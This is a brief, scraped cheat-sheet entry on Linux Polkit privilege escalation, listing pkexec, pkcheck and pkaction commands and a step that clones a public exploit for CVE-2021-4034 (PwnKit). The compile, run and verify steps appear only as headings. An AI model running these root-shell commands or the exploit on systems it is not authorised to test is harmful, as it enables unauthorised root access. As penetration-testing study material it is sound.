23.Polkit
Run command as root using pkexec
pkexec -u root id
pkexec -u root /bin/bash # or /bin/shCheck if a process is authorized for an action
pkcheck --process <pid> --action-id <action_id> --allow-user-defaultsList available actions
pkactionExample of using pkexec to run a command as another user.
pkexec --user <username> <command>Clone exploit
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034Compile exploit
Run exploit
Verify root access
Last updated